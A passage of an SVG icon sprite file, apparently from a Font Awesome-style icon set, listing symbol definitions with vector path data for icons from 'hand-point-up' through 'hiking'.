7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"></path> + </symbol> + <symbol id="hand-point-up" viewBox="0 0 384 512"> + <path d="M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z"></path> + </symbol> + <symbol id="hand-pointer" viewBox="0 0 448 512"> + <path d="M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z"></path> + </symbol> + <symbol id="hand-rock" viewBox="0 0 512 512"> + <path d="M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z"></path> + </symbol> + <symbol id="hand-scissors" viewBox="0 0 512 512"> + <path d="M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z"></path> + </symbol> + <symbol id="hand-sparkles" viewBox="0 0 640 512"> + <path d="M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z"></path> + </symbol> + <symbol id="hand-spock" viewBox="0 0 512 512"> + <path d="M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z"></path> + </symbol> + <symbol id="hands" viewBox="0 0 640 512"> + <path d="M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z"></path> + </symbol> + <symbol id="hands-helping" viewBox="0 0 640 512"> + <path d="M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z"></path> + </symbol> + <symbol id="hands-wash" viewBox="0 0 576 512"> + <path d="M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z"></path> + </symbol> + <symbol id="handshake" viewBox="0 0 640 512"> + <path d="M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z"></path> + </symbol> + <symbol id="handshake-alt-slash" viewBox="0 0 640 512"> + <path d="M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z"></path> + </symbol> + <symbol id="handshake-slash" viewBox="0 0 640 512"> + <path d="M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z"></path> + </symbol> + <symbol id="hanukiah" viewBox="0 0 640 512"> + <path d="M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z"></path> + </symbol> + <symbol id="hard-hat" viewBox="0 0 512 512"> + <path d="M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="hashtag" viewBox="0 0 448 512"> + <path d="M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z"></path> + </symbol> + <symbol id="hat-cowboy" viewBox="0 0 640 512"> + <path d="M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z"></path> + </symbol> + <symbol id="hat-cowboy-side" viewBox="0 0 640 512"> + <path d="M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z"></path> + </symbol> + <symbol id="hat-wizard" viewBox="0 0 512 512"> + <path d="M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z"></path> + </symbol> + <symbol id="hdd" viewBox="0 0 576 512"> + <path d="M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"></path> + </symbol> + <symbol id="head-side-cough" viewBox="0 0 640 512"> + <path d="M616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304ZM552,416a24,24,0,1,0,24,24A24,24,0,0,0,552,416Zm-64-56a24,24,0,1,0,24,24A24,24,0,0,0,488,360ZM616,464a24,24,0,1,0,24,24A24,24,0,0,0,616,464Zm0-104a24,24,0,1,0,24,24A24,24,0,0,0,616,360Zm-64-40a24,24,0,1,0,24,24A24,24,0,0,0,552,320Zm-74.78-45c-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192C86,0,0,86,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320a32,32,0,0,1,0-64h96V320h32A32,32,0,0,0,477.22,275ZM288,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,288,224Z"></path> + </symbol> + <symbol id="head-side-cough-slash" viewBox="0 0 640 512"> + <path d="M454.11,319.21c19.56-3.81,31.62-25,23.11-44.21-21-47.12-48.5-151.75-73.12-186.75A208.13,208.13,0,0,0,234.1,0H192A190.64,190.64,0,0,0,84.18,33.3L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM313.39,210.45,263.61,172c5.88-7.14,14.43-12,24.36-12a32.06,32.06,0,0,1,32,32C320,199,317.24,205.17,313.39,210.45ZM616,304a24,24,0,1,0-24-24A24,24,0,0,0,616,304Zm-64,64a24,24,0,1,0-24-24A24,24,0,0,0,552,368ZM288,384a32,32,0,0,1,32-32h19.54L20.73,105.59A190.86,190.86,0,0,0,0,192c0,56.75,24.75,107.62,64,142.88V512H288V480h64a64,64,0,0,0,64-64H320A32,32,0,0,1,288,384Zm328-24a24,24,0,1,0,24,24A24,24,0,0,0,616,360Z"></path> + </symbol> + <symbol id="head-side-mask" viewBox="0 0 512 512"> + <path d="M.15,184.42C-2.17,244.21,23,298.06,64,334.88V512H224V316.51L3.67,156.25A182.28,182.28,0,0,0,.15,184.42ZM509.22,275c-21-47.12-48.5-151.75-73.12-186.75A208.11,208.11,0,0,0,266.11,0H200C117,0,42.48,50.57,13.25,123.65L239.21,288H511.76A31.35,31.35,0,0,0,509.22,275ZM320,224a32,32,0,1,1,32-32A32.07,32.07,0,0,1,320,224Zm16,144H496l16-48H256V512H401.88a64,64,0,0,0,60.71-43.76L464,464H336a16,16,0,0,1,0-32H474.67l10.67-32H336a16,16,0,0,1,0-32Z"></path> + </symbol> + <symbol id="head-side-virus" viewBox="0 0 512 512"> + <path d="M272,240a16,16,0,1,0,16,16A16,16,0,0,0,272,240Zm-64-64a16,16,0,1,0,16,16A16,16,0,0,0,208,176Zm301.2,99c-20.93-47.12-48.43-151.73-73.07-186.75A207.9,207.9,0,0,0,266.09,0H192C86,0,0,86,0,192A191.23,191.23,0,0,0,64,334.81V512H320V448h64a64,64,0,0,0,64-64V320H480A32,32,0,0,0,509.2,275ZM368,240H355.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C290.47,297.09,256,311.37,256,339.88V352a16,16,0,0,1-32,0V339.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H112a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V96a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C313.09,173.53,327.37,208,355.88,208H368a16,16,0,0,1,0,32Z"></path> + </symbol> + <symbol id="heading" viewBox="0 0 512 512"> + <path d="M448 96v320h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H320a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V288H160v128h32a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32V96H32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16h-32v128h192V96h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z"></path> + </symbol> + <symbol id="headphones" viewBox="0 0 512 512"> + <path d="M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622l14.383 7.191C34.083 431.903 83.421 480 144 480h24c13.255 0 24-10.745 24-24V280c0-13.255-10.745-24-24-24h-24c-31.342 0-59.671 12.879-80 33.627V288c0-105.869 86.131-192 192-192s192 86.131 192 192v1.627C427.671 268.879 399.342 256 368 256h-24c-13.255 0-24 10.745-24 24v176c0 13.255 10.745 24 24 24h24c60.579 0 109.917-48.098 111.928-108.187l14.382-7.191A32 32 0 0 0 512 336v-48c0-141.479-114.496-256-256-256z"></path> + </symbol> + <symbol id="headphones-alt" viewBox="0 0 512 512"> + <path d="M160 288h-16c-35.35 0-64 28.7-64 64.12v63.76c0 35.41 28.65 64.12 64 64.12h16c17.67 0 32-14.36 32-32.06V320.06c0-17.71-14.33-32.06-32-32.06zm208 0h-16c-17.67 0-32 14.35-32 32.06v127.88c0 17.7 14.33 32.06 32 32.06h16c35.35 0 64-28.71 64-64.12v-63.76c0-35.41-28.65-64.12-64-64.12zM256 32C112.91 32 4.57 151.13 0 288v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288c0-114.67 93.33-207.8 208-207.82 114.67.02 208 93.15 208 207.82v112c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V288C507.43 151.13 399.09 32 256 32z"></path> + </symbol> + <symbol id="headset" viewBox="0 0 512 512"> + <path d="M192 208c0-17.67-14.33-32-32-32h-16c-35.35 0-64 28.65-64 64v48c0 35.35 28.65 64 64 64h16c17.67 0 32-14.33 32-32V208zm176 144c35.35 0 64-28.65 64-64v-48c0-35.35-28.65-64-64-64h-16c-17.67 0-32 14.33-32 32v112c0 17.67 14.33 32 32 32h16zM256 0C113.18 0 4.58 118.83 0 256v16c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-16c0-114.69 93.31-208 208-208s208 93.31 208 208h-.12c.08 2.43.12 165.72.12 165.72 0 23.35-18.93 42.28-42.28 42.28H320c0-26.51-21.49-48-48-48h-32c-26.51 0-48 21.49-48 48s21.49 48 48 48h181.72c49.86 0 90.28-40.42 90.28-90.28V256C507.42 118.83 398.82 0 256 0z"></path> + </symbol> + <symbol id="heart" viewBox="0 0 512 512"> + <path d="M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"></path> + </symbol> + <symbol id="heart-broken" viewBox="0 0 512 512"> + <path d="M473.7 73.8l-2.4-2.5c-46-47-118-51.7-169.6-14.8L336 159.9l-96 64 48 128-144-144 96-64-28.6-86.5C159.7 19.6 87 24 40.7 71.4l-2.4 2.4C-10.4 123.6-12.5 202.9 31 256l212.1 218.6c7.1 7.3 18.6 7.3 25.7 0L481 255.9c43.5-53 41.4-132.3-7.3-182.1z"></path> + </symbol> + <symbol id="heartbeat" viewBox="0 0 512 512"> + <path d="M320.2 243.8l-49.7 99.4c-6 12.1-23.4 11.7-28.9-.6l-56.9-126.3-30 71.7H60.6l182.5 186.5c7.1 7.3 18.6 7.3 25.7 0L451.4 288H342.3l-22.1-44.2zM473.7 73.9l-2.4-2.5c-51.5-52.6-135.8-52.6-187.4 0L256 100l-27.9-28.5c-51.5-52.7-135.9-52.7-187.4 0l-2.4 2.4C-10.4 123.7-12.5 203 31 256h102.4l35.9-86.2c5.4-12.9 23.6-13.2 29.4-.4l58.2 129.3 49-97.9c5.9-11.8 22.7-11.8 28.6 0l27.6 55.2H481c43.5-53 41.4-132.3-7.3-182.1z"></path> + </symbol> + <symbol id="helicopter" viewBox="0 0 640 512"> + <path d="M304 384h272c17.67 0 32-14.33 32-32 0-123.71-100.29-224-224-224V64h176c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H144c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h176v64H112L68.8 70.4C65.78 66.37 61.03 64 56 64H16.01C5.6 64-2.04 73.78.49 83.88L32 192l160 64 86.4 115.2A31.992 31.992 0 0 0 304 384zm112-188.49C478.55 208.3 528.03 257.44 540.79 320H416V195.51zm219.37 263.3l-22.15-22.2c-6.25-6.26-16.24-6.1-22.64.01-7.09 6.77-13.84 11.25-24.64 11.25H240c-8.84 0-16 7.18-16 16.03v32.06c0 8.85 7.16 16.03 16 16.03h325.94c14.88 0 35.3-.47 68.45-29.52 7.02-6.14 7.57-17.05.98-23.66z"></path> + </symbol> + <symbol id="highlighter" viewBox="0 0 544 512"> + <path d="M0 479.98L99.92 512l35.45-35.45-67.04-67.04L0 479.98zm124.61-240.01a36.592 36.592 0 0 0-10.79 38.1l13.05 42.83-50.93 50.94 96.23 96.23 50.86-50.86 42.74 13.08c13.73 4.2 28.65-.01 38.15-10.78l35.55-41.64-173.34-173.34-41.52 35.44zm403.31-160.7l-63.2-63.2c-20.49-20.49-53.38-21.52-75.12-2.35L190.55 183.68l169.77 169.78L530.27 154.4c19.18-21.74 18.15-54.63-2.35-75.13z"></path> + </symbol> + <symbol id="hiking" viewBox="0 0 384 512"> + <path d="M80.95 472.23c-4.28 17.16 